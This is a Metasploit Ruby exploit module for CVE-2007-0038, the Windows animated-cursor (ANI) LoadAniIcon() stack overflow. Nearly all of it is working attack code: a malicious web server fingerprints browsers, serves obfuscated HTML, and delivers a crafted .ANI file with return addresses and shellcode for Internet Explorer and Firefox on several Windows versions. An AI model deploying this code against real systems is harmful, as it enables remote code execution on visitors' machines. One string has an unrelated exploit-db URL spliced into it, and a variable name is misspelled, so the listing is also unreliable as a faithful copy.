require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RIFF
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)',
'Description'=> %q{
This module exploits a buffer overflow vulnerability in the
LoadAniIcon() function in USER32.dll. The flaw can be triggered through
Internet Explorer 6 and 7 by using the CURSOR style sheet directive
to load a malicious .ANI file. The module can also exploit Mozilla
Firefox by using a UNC path in a moz-icon URL and serving the .ANI file
over WebDAV. The vulnerable code in USER32.dll will catch any
exceptions that occur while the invalid cursor is loaded, causing the
exploit to silently fail when the wrong target has been chosen.
This vulnerability was discovered by Alexander Sotirov of Determina
and was rediscovered, in the wild, by McAfee.
},
'Author' =>
[
'hdm',
'skape',
'Solar Eclipse <solareclipse@phreedom.org>'
],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 9984 $',
'References' =>
[
['CVE', '2007-0038'],
['OSVDB', '33629'],
['BID', '23194'],
['MSB', 'MS07-017'],
['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],
['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload'=>
{
'Space'=> 1024 + (rand(1000)),
'Compat' =>
{
'ConnectionType' => '-find',
}
},
'Platform' => 'win',
'Targets'=>
[
[ '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista',
{
'Method' => 'automatic'
}
],
[ 'IE6 on Windows NT, 2000, XP, 2003 (all languages)',
{
'Method' => 'jmpesp',
'Ret1' => 0x0040afff,
'Ret2' => 0x004090df
}
],
[ 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)',
{
'Method' => 'jmpesp',
'Ret1' => 0x00420B45,
'Ret2' => 0x00420B45
}
],
[ 'IE7 and Firefox on Windows Vista (all languages)',
{
'Method' => 'partial',
'Ret'=> 0x700B
}
],
[ 'Firefox on Windows XP (English)',
{
'Method' => 'jmpesp',
'Ret1' => 0x77059E48,
'Ret2' => 0x77019668
}
],
[ 'Firefox on Windows 2003 (English)',
{
'Method' => 'jmpesp',
'Ret1' => 0x77019668,
'Ret2' => 0x77019668
}
],
],
'DisclosureDate' => 'Mar 28 2007',
'DefaultTarget'=> 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end
def on_request_uri(cli, request)
print_status("Attempting to exploit ani_loadimage_chunksize")
browser = ''
if target['Method'] == 'automatic'
agent = request.headers['User-Agent']
if agent =~ /(Gecko|Microsoft-WebDAV-MiniRedir)/
browser = 'Mozilla'
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
print_status("Mozilla request received from #{cli.peerhost}. To exploit Mozilla browsers, SRVPORT must be set to 80 and URIPATH must be '/'")
cli.send_response(create_response(404, "File not found"))
return
end
if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/
target = targets[3]
elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
target = targets[4]
elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
target = targets[5]
else
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
return
end
elsif agent =~ /MSIE/
browser = 'IE'
if agent =~ /Windows NT 6\.0/
target = targets[3]
elsif agent =~ /MSIE 7\.0/
target = targets[2]
elsif agent =~ /MSIE 6\.0/
target = targets[1]
else
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
return
end
else
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
return
end
end
exts = ['bmp', 'wav', 'png', 'zip', 'tar', 'ani']
ani_request = false
match = /\.(...)$/.match(request.uri)
if match and exts.include?(match[1])
ani_request = true
end
if request.method == 'OPTIONS'
print_status("Received WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
'DASL' => '<DAV:sql>',
'DAV'=> '1, 2',
'Public' => 'OPTIONS, GET, PROPFIND',
'Allow'=> 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
return
end
if request.method == 'PROPFIND'
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}")
body = ''
if (not ani_request)
body = '<?xml version="1.0"?><a:multistatus xmlns:a="DAV:"><a:response><a:propstat><a:prop><a:resourcetype><a:collection/></a:resourcetype></a:prop></a:propstat></a:response></a:multistatus>'
else
body = '<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response></a:response></a:multistatus>'
end
send_response(cli, body, {'Content-Type' => 'text/xml'})
return
end
if (not ani_request)
exts.delete('ani')
ext = exts[rand(exts.length)]
html =
"<html>" +
"<head><title>" + random_padding + "</title></head>" +
"<body>" +
random_padding +
(browser == 'IE' ? generate_ie_html(ext) : generate_mozilla_html) +
random_padding +
"</body>" +
"</html>"
print_status("Sending HTML page to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html)
return
end
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' })
end
def generate_ie_html(ext)
path = get_resource.sub(/\/$/, '')
"<div style='" +
random_css_padding +
Rex::Text.to_rand_case("cursor") +
random_css_padding +
":" +
random_css_padding +
Rex::Text.to_rand_case("url(") +
random_css_padding +
'"' +
path + '/' + rand_text_alphanumeric(rand(80)+16) + '.' + ext +
'"' +
random_css_padding +
");" +
random_css_padding +
"'>" +
random_padding +
"</div>"
end
def generate_mozilla_html
path = get_resource.gsub(/\/$/, '')
if path == ''
path = '/' + rand_text_alphanumeric(rand(80)+16)
end
return '<img src="https://www.exploit-db.com/exploits/16526/moz-icon:file://///' +
datastore['SRVHOST'] +
path + '/' + rand_text_alphanumeric(rand(80)+16) + '.ani">'
end
def random_css_padding
buf =
random_whitespace +
"/*" +
random_whitespace +
random_padding +
random_whitespace +
"*/" +
random_whitespace
end
def random_whitespace
len = rand(100)+2
set = "\x09\x20\x0d\x0a"
buf = ''
while (buf.length < len)
buf << set[rand(set.length)].chr
end
buf
end
def random_padding
rand_text_alphanumeric(rand(128)+4)
end
def generate_ani(payload, target)
header = [
36,
rand(128)+16,
rand(1024)+1,
0, 0,
0,
0,
0,
1
].pack('V9')
overflow = ''
if target['Method'] == 'jmpesp'
overflow =
"\x85\xDB" +
"\x74\x0A" +
"\x81\x3B\x01\x00\x00\x00" +
"\x74\x02" +
"\x89\xDE" +
"\x8B\x36" +
"\x81\x3E\x52\x49\x46\x46" +
"\x75\x02" +
"\xFF\xE6" +
"\x31\xc0" +
"\x8b\x00" +
rand_text(2) +
"\x00\x00\x00\x00" +
rand_text(4*6) +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
[
target['Ret1'],
target['Ret2']
].pack('VV') +
rand_text(4*4) +
"\x90\x90\x90\x90" +
"\xeb\x92"
elsif target['Method'] == 'partial'
overflow =
rand_text(32) +
"\x00\x00\x00\x00" +
rand_text(4*8) +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
rand_text(4) +
[
target['Ret'],
].pack('v')
else
raise "Unknown target #{targetr['Method']}"
end
ani =
"RIFF" + "\xeb\x3a\x00\x00" +
"ACON" +
riff_chunk("anih", header) +
riff_chunk(random_riff_tag,
Rex::Arch::X86.copy_to_stack(payload.encoded.length) +
payload.encoded) +
random_riff_chunks +
riff_chunk("anih", overflow) +
random_riff_chunks
return ani
end
end